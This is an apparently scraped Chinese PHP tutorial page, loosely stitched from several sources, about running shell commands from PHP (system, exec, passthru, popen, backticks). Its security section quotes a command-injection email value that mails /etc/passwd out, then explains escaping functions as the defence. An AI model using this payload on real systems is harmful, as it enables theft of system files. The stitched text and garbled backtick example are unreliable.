好得很程序员自学网
  • 首页
  • 后端语言
    • C#
    • PHP
    • Python
    • java
    • Golang
    • ASP.NET
  • 前端开发
    • Angular
    • react框架
    • LayUi开发
    • javascript
    • HTML与HTML5
    • CSS与CSS3
    • jQuery
    • Bootstrap
    • NodeJS
    • Vue与小程序技术
    • Photoshop
  • 数据库技术
    • MSSQL
    • MYSQL
    • Redis
    • MongoDB
    • Oracle
    • PostgreSQL
    • Sqlite
    • 数据库基础
    • 数据库排错
  • CMS系统
    • HDHCMS
    • WordPress
    • Dedecms
    • PhpCms
    • 帝国CMS
    • ThinkPHP
    • Discuz
    • ZBlog
    • ECSHOP
  • 高手进阶
    • Android技术
    • 正则表达式
    • 数据结构与算法
  • 系统运维
    • Windows
    • apache
    • 服务器排错
    • 网站安全
    • nginx
    • linux系统
    • MacOS
  • 学习教程
    • 前端脚本教程
    • HTML与CSS 教程
    • 脚本语言教程
    • 数据库教程
    • 应用系统教程
  • 新技术
  • 编程导航
    • 区块链
    • IT资讯
    • 设计灵感
    • 建站资源
    • 开发团队
    • 程序社区
    • 图标图库
    • 图形动效
    • IDE环境
    • 在线工具
    • 调试测试
    • Node开发
    • 游戏框架
    • CSS库
    • Jquery插件
    • Js插件
    • Web框架
    • 移动端框架
    • 模块管理
    • 开发社区
    • 在线课堂
    • 框架类库
    • 项目托管
    • 云服务

当前位置:首页>后端语言>PHP
<tfoot draggable='sEl'></tfoot>

php图片打印程序 php直接输出图片

很多站长朋友们都不太清楚php图片打印程序,今天小编就来给大家整理php图片打印程序,希望对各位有所帮助,具体内容如下:

本文目录一览: 1、 php如何打印图片 2、 在php命令行业中怎样打印内容 3、 自己打印程序PHP 4、 php图片显示程序 php如何打印图片

我现在在php里用Com扩展+命令行可以打印office,txt跟pdf. 在网上搜了半天,都没找到怎么打印图片...php高手们,请帮忙菜鸟吧。需求: /print.php?fileName=xx.jpg , print.php会在固定的目录下找打这个图片,然后调用服务器的默认打印机打印出来图片。PS:我的需求是windows本地一个images下有许多图片,各种格式(jpg,bmp,gif).我现在需要一个print.php批量读取图片,静默打印出来到纸上。baidu了N久都没有答案。实在不行,我就得用java去实现了。

在php命令行业中怎样打印内容

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()

原型:string

system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

复制代码

代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");

?>

exec()

原型:string exec (string command [, string array [, int return_var]])

exec

()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array

可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二

个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

复制代码

代码如下:

<?php

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?>

passthru()

原型:void passthru (string command [, int

return_var])

passthru

()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus

(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

复制代码

代码如下:

<?php

header("Content-type:

image/gif");

passthru("./ppmtogif hunte.ppm");

?>

2)

用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen

()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一

的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

复制代码

代码如下:

<?php

$fp=popen("/bin/ls -l", "r");

?>

例子2:

复制代码

代码如下:

<?php

/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand =

"su --login root --command";

$useradd = "useradd ";

$rootpasswd =

"verygood";

$user = "james";

$user_add = sprintf("%s "%s

%s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3)

用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

复制代码

代码如下:

<?php

$res='/bin/ls -l';

echo '

'.$res.'

';

?>

这个脚本的输出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么看

要考虑两个问题:安全性和超时。

先

看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地

址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这

个文件。程序就象这样:

复制代码

代码如下:

<?php

system("mail $to <

products.txt");

echo "我们的产品目录已经发送到你的信箱:$to";

?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail someone@domain测试数据 < /etc/passwd ;'

那么这条命令最终变成:

'mail --bla ; mail someone@domain测试数据 < /etc/passwd ; < products.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸

好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串

中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入

(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串

就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运

行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是

把命令的输出重定向到另外一个文件或流中,如:

复制代码

代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null ");

?>

自己打印程序PHP

有的,我知道有一个免费的Web打印控件可以很方便实现直接打印的功能。

演示地址:

在演示页可以下载该控件,控件包有PHP的详细示例。

php图片显示程序

如果直接用图片的话,要跟你的程序一样 存放在相同一个目录下。

要不就用绝对地址 引用图片

关于php图片打印程序的介绍到此就结束了,不知道本篇文章是否对您有帮助呢?如果你还想了解更多此类信息,记得收藏关注本站,我们会不定期更新哦。

查看更多关于php图片打印程序 php直接输出图片的详细内容...

声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did207967
更新时间:2023-05-03   阅读:31次

上一篇: phpkey升序 php对数组进行升序排序

下一篇:phptsnts区别 phpstudy和phpstudy_pro

相关资讯

最新资料更新

  • 1.包含catflag.php的词条
  • 2.扫描登录php代码 扫描登录php代码错误
  • 3.phpu=13647的简单介绍
  • 4.phpcurl解析失败 php在html中无法解析
  • 5.php合并特殊字符 php合并单元格的代码
  • 6.php提取数组转map php 数组转xml
  • 7.php双色球案例 双色球php复式逻辑
  • 8.php5.4.13的简单介绍
  • 9.erpphp源码下载 thinkphp erp源码
  • 10.php数据分数排序 php实现积分排行榜
  • 11.包含tracphp的词条
  • 12.包含Zend转php的词条
  • 13.输出jsonphp代码 js 输出json
  • 14.php新浪微博开发 微博开发工具
  • 15.php操作redis存值 php redis数据类型
  • 16.phpword读写 php读写word 文档
  • 17.php提示重复提交 php api防止重复提交
  • 18.php本地myaql工具 phpmysqlnd
  • 19.php正则引号 phpemail正则
  • 20.php事务的隔离级别 php事务处理

CopyRight:2016-2025好得很程序员自学网 备案ICP:湘ICP备09009000号-16 http://haodehen.cn
本站资讯不构成任何建议,仅限于个人分享,参考须谨慎!
本网站对有关资料所引致的错误、不确或遗漏,概不负任何法律责任。
本网站刊载的所有内容(包括但不仅限文字、图片、LOGO、音频、视频、软件、程序等)版权归原作者所有。任何单位或个人认为本网站中的内容可能涉嫌侵犯其知识产权或存在不实内容时,请及时通知本站,予以删除。

网站内容来源于网络分享,如有侵权发邮箱到:kenbest@126.com,收到邮件我们会即时下线处理。
网站框架支持:HDHCMS   51LA统计 百度统计
Copyright © 2018-2025 「好得很程序员自学网」
[ SiteMap ]